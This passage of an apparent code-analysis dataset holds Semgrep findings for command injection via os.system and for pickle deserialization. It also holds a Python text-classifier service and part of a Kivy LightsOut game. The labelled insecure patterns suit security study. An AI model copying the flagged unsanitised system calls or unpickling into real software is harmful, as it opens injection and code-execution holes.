Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-tainted-env-args_e014560c10163856_cc5ec01c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 135, "line_end": 135, "column_start": 7, "column_end": 25, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "path": "/tmp/tmpb8jm_z1l/e014560c10163856.py", "start": {"line": 135, "col": 7, "offset": 4763}, "end": {"line": 135, "col": 25, "offset": 4781}, "extra": {"message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "MEDIUM", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_e014560c10163856_2d6bf9fe", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 140, "line_end": 140, "column_start": 5, "column_end": 24, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/e014560c10163856.py", "start": {"line": 140, "col": 5, "offset": 4944}, "end": {"line": 140, "col": 24, "offset": 4963}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_e014560c10163856_cdd718ca", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 144, "line_end": 144, "column_start": 9, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/e014560c10163856.py", "start": {"line": 144, "col": 9, "offset": 5061}, "end": {"line": 144, "col": 30, "offset": 5082}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_e014560c10163856_348985de", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 153, "line_end": 153, "column_start": 11, "column_end": 31, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/e014560c10163856.py", "start": {"line": 153, "col": 11, "offset": 5325}, "end": {"line": 153, "col": 31, "offset": 5345}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.writing-to-file-in-read-mode_e014560c10163856_848181aa", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.writing-to-file-in-read-mode", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "The file object 'F' was opened in read mode, but is being written to. This will cause a runtime error.", "remediation": "", "location": {"file_path": "unknown", "line_start": 154, "line_end": 154, "column_start": 7, "column_end": 44, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.writing-to-file-in-read-mode", "path": "/tmp/tmpb8jm_z1l/e014560c10163856.py", "start": {"line": 154, "col": 7, "offset": 5352}, "end": {"line": 154, "col": 44, "offset": 5389}, "extra": {"message": "The file object 'F' was opened in read mode, but is being written to. This will cause a runtime error.", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_e014560c10163856_1764c19f", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 179, "line_end": 179, "column_start": 5, "column_end": 23, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/e014560c10163856.py", "start": {"line": 179, "col": 5, "offset": 6053}, "end": {"line": 179, "col": 23, "offset": 6071}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-tainted-env-args_e014560c10163856_42d16f7d", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 179, "line_end": 179, "column_start": 5, "column_end": 23, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "path": "/tmp/tmpb8jm_z1l/e014560c10163856.py", "start": {"line": 179, "col": 5, "offset": 6053}, "end": {"line": 179, "col": 23, "offset": 6071}, "extra": {"message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "MEDIUM", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_e014560c10163856_8e710882", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 219, "line_end": 219, "column_start": 5, "column_end": 49, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/e014560c10163856.py", "start": {"line": 219, "col": 5, "offset": 7446}, "end": {"line": 219, "col": 49, "offset": 7490}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-tainted-env-args_e014560c10163856_48ea4246", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 219, "line_end": 219, "column_start": 5, "column_end": 49, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "path": "/tmp/tmpb8jm_z1l/e014560c10163856.py", "start": {"line": 219, "col": 5, "offset": 7446}, "end": {"line": 219, "col": 49, "offset": 7490}, "extra": {"message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "MEDIUM", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 12 | true | [
"CWE-78",
"CWE-78",
"CWE-78",
"CWE-78",
"CWE-78",
"CWE-78",
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-system-call-audit",
"rules.python.lang.security.audit.dangerous-system-call-tainted-env-args",
"rules.python.lang.security.audit.dangerous-system-call-audit",
"rules.python.lang.security.audit.dangerous-system-call-tainted-env-args",
"rules.python.lang.security.au... | [
"security",
"security",
"security",
"security",
"security",
"security",
"security",
"security"
] | [
"LOW",
"MEDIUM",
"LOW",
"MEDIUM",
"LOW",
"MEDIUM",
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH"
] | [
49,
49,
135,
135,
179,
179,
219,
219
] | [
49,
49,
135,
135,
179,
179,
219,
219
] | [
5,
5,
7,
7,
5,
5,
5,
5
] | [
32,
32,
25,
25,
23,
23,
49,
49
] | [
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.",
"Found user-controll... | [
7.5,
7.5,
7.5,
7.5,
7.5,
7.5,
7.5,
7.5
] | [
"LOW",
"MEDIUM",
"LOW",
"MEDIUM",
"LOW",
"MEDIUM",
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH"
] | prep_ligand_for_dock.py | /Pipeline/prep_ligand_for_dock.py | CCBatIIT/AlGDock | MIT | |
2024-11-18T18:39:24.556163+00:00 | 1,585,737,203,000 | 1337813755af1e5191bf7ac6a8d2f4ba9aace96c | 2 | {
"blob_id": "1337813755af1e5191bf7ac6a8d2f4ba9aace96c",
"branch_name": "refs/heads/master",
"committer_date": 1585737203000,
"content_id": "d182a167721331d0d87065a28827c0bf8bd76e3d",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "4bf9157cf697a6a841f2b0d27777480d3f759846",
"extension": "py",
"filename": "app.py",
"fork_events_count": 0,
"gha_created_at": 1586399393000,
"gha_event_created_at": 1586399394000,
"gha_language": null,
"gha_license_id": "Apache-2.0",
"github_id": 254251889,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2305,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/packages/plugins/bayesian-classifier-eas-model-deploy/src/assets/app.py",
"provenance": "stack-edu-0054.json.gz:569847",
"repo_name": "imsobear/pipcook",
"revision_date": 1585737203000,
"revision_id": "c29f0545a3818b450befb81c97eec238b53f8a84",
"snapshot_id": "15434e4dca60841ab30c3bc5b47b7604938b24dd",
"src_encoding": "UTF-8",
"star_events_count": 3,
"url": "https://raw.githubusercontent.com/imsobear/pipcook/c29f0545a3818b450befb81c97eec238b53f8a84/packages/plugins/bayesian-classifier-eas-model-deploy/src/assets/app.py",
"visit_date": "2021-05-27T10:24:30.397202"
} | 2.4375 | stackv2 | #coding: utf-8
import allspark
import io
import numpy as np
import json
import threading
import pickle
import jieba
from sklearn.naive_bayes import MultinomialNB
def MakeWordsSet(words_file):
words_set = set()
with open(words_file, 'r', encoding='utf-8') as fp:
for line in fp.readlines():
word = line.strip()
if len(word)>0 and word not in words_set:
words_set.add(word)
return words_set
def words_dict(all_words_list, stopwords_set=set()):
feature_words = []
for t in range(0, len(all_words_list), 1):
if not all_words_list[t].isdigit() and all_words_list[t] not in stopwords_set and 1<len(all_words_list[t])<5:
feature_words.append(all_words_list[t])
return feature_words
def processPredictData(data):
all_words_list = pickle.load(open('./model/feature_words.pkl', 'rb'))
word_cuts = []
for i in range(len(data)):
word_cuts.append(jieba.cut(data[i], cut_all=False) )
stopwords_file = './model/stopwords.txt'
stopwords_set = MakeWordsSet(stopwords_file)
feature_words = words_dict(all_words_list, stopwords_set)
def text_features(text, feature_words):
text_words = set(text)
features = [1 if word in text_words else 0 for word in feature_words]
return features
predict_feature_list = [text_features(text, feature_words) for text in word_cuts]
return predict_feature_list
def process(msg):
msg_dict = json.loads(msg)
texts = msg_dict['texts']
predict_feature_list = processPredictData(texts)
classifier = pickle.load(open('./model/model.pkl', 'rb'))
result = classifier.predict(predict_feature_list)
final_result = {
'content': list(result)
}
return bytes(json.dumps(final_result), 'utf-8')
def worker(srv, thread_id):
while True:
msg = srv.read()
try:
rsp = process(msg)
srv.write(rsp)
except Exception as e:
srv.error(500,bytes('invalid data format', 'utf-8'))
if __name__ == '__main__':
context = allspark.Context(4)
queued = context.queued_service()
workers = []
for i in range(10):
t = threading.Thread(target=worker, args=(queued, i))
t.setDaemon(True)
t.start()
workers.append(t)
for t in workers:
t.join()
| 80 | 27.81 | 117 | 15 | 567 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_bbf0d4c0eca9b830_59fc8d1e", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 32, "line_end": 32, "column_start": 22, "column_end": 74, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/bbf0d4c0eca9b830.py", "start": {"line": 32, "col": 22, "offset": 825}, "end": {"line": 32, "col": 74, "offset": 877}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_bbf0d4c0eca9b830_abedfe2e", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 51, "line_end": 51, "column_start": 16, "column_end": 60, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/bbf0d4c0eca9b830.py", "start": {"line": 51, "col": 16, "offset": 1583}, "end": {"line": 51, "col": 60, "offset": 1627}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-502",
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | [
32,
51
] | [
32,
51
] | [
22,
16
] | [
74,
60
] | [
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.",
"Avoid using `pickle`, which is known to lead to... | [
5,
5
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | app.py | /packages/plugins/bayesian-classifier-eas-model-deploy/src/assets/app.py | imsobear/pipcook | Apache-2.0 | |
2024-11-18T18:39:28.611153+00:00 | 1,537,913,144,000 | 791217fea6172ce2d2b817154b0e69f217eb406b | 3 | {
"blob_id": "791217fea6172ce2d2b817154b0e69f217eb406b",
"branch_name": "refs/heads/master",
"committer_date": 1537913144000,
"content_id": "a950b7068615ec07c1866ca77eba121cf162ac82",
"detected_licenses": [
"MIT"
],
"directory_id": "d5cbd52f8027950b1f91fdf87c32d9019cfcb99d",
"extension": "py",
"filename": "game.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 150334436,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 10744,
"license": "MIT",
"license_type": "permissive",
"path": "/game/game.py",
"provenance": "stack-edu-0054.json.gz:569892",
"repo_name": "AleksaC/LightsOut",
"revision_date": 1537913144000,
"revision_id": "f8e0454fccf2742e20409d564acd5ceacf324455",
"snapshot_id": "e6902cdf32bae448b6548894229f7ade51a0c5a4",
"src_encoding": "UTF-8",
"star_events_count": 3,
"url": "https://raw.githubusercontent.com/AleksaC/LightsOut/f8e0454fccf2742e20409d564acd5ceacf324455/game/game.py",
"visit_date": "2020-03-29T20:50:54.684363"
} | 2.640625 | stackv2 | from __future__ import division
import os
import operator
import pickle
import random
from kivy.app import App
from kivy.clock import Clock
from kivy.uix.label import Label
from kivy.uix.popup import Popup
from kivy.uix.button import Button
from kivy.uix.boxlayout import BoxLayout
from kivy.uix.screenmanager import Screen
from kivy.graphics import Color, Rectangle
from kivy.uix.gridlayout import GridLayout
def dot(x1, x2):
return sum(map(operator.mul, x1, x2))
class Timer(Label):
def __init__(self, **kwargs):
super(Timer, self).__init__(**kwargs)
self.time = 0
self.text = "Time: 00:00"
def start(self):
return Clock.schedule_interval(self.update, 1)
def update(self, *args):
self.time += 1
self.text = "Time: {:02d}:{:02d}".format(self.time // 60, self.time % 60)
def stop(self, scheduled):
Clock.unschedule(scheduled)
def reset(self):
self.time = 0
self.text = "Time: 00:00"
class Moves(Label):
def __init__(self, **kwargs):
super(Moves, self).__init__(**kwargs)
self.count = 0
self.text = "Moves: 0"
def inc(self):
self.count += 1
self.text = "Moves: {}".format(self.count)
def dec(self):
self.count -= 1
self.text = "Moves: {}".format(self.count)
def reset(self):
self.count = 0
self.text = "Moves: 0"
down = os.path.join("data", "down.png")
normal = os.path.join("data", "up.png")
hint = os.path.join("data", "hint.png")
class Light(Button):
def __init__(self, up, **kwargs):
super(Light, self).__init__(**kwargs)
self.toggled = 0
self.always_release = True
self.initialize(up)
def initialize(self, up):
if up:
self.toggled = 1
self.background_down = down
self.background_normal = normal
else:
self.toggled = 0
self.background_down = normal
self.background_normal = down
def on_release(self):
self.flip()
def flip(self):
self.toggled = 0 if self.toggled else 1
self.background_normal, self.background_down = self.background_down, self.background_normal
def blink(self, *args):
if self.toggled:
if self.background_normal == hint:
self.background_normal = normal
else:
self.background_normal = hint
else:
if self.background_normal == hint:
self.background_normal = down
else:
self.background_normal = hint
def restore(self):
if self.toggled:
self.background_normal = normal
else:
self.background_normal = down
class Blinking:
def __init__(self, button, scheduled):
self.button = button
self.scheduled = scheduled
class Game:
def __init__(self):
self.config = []
self.ones = 0
def load(self):
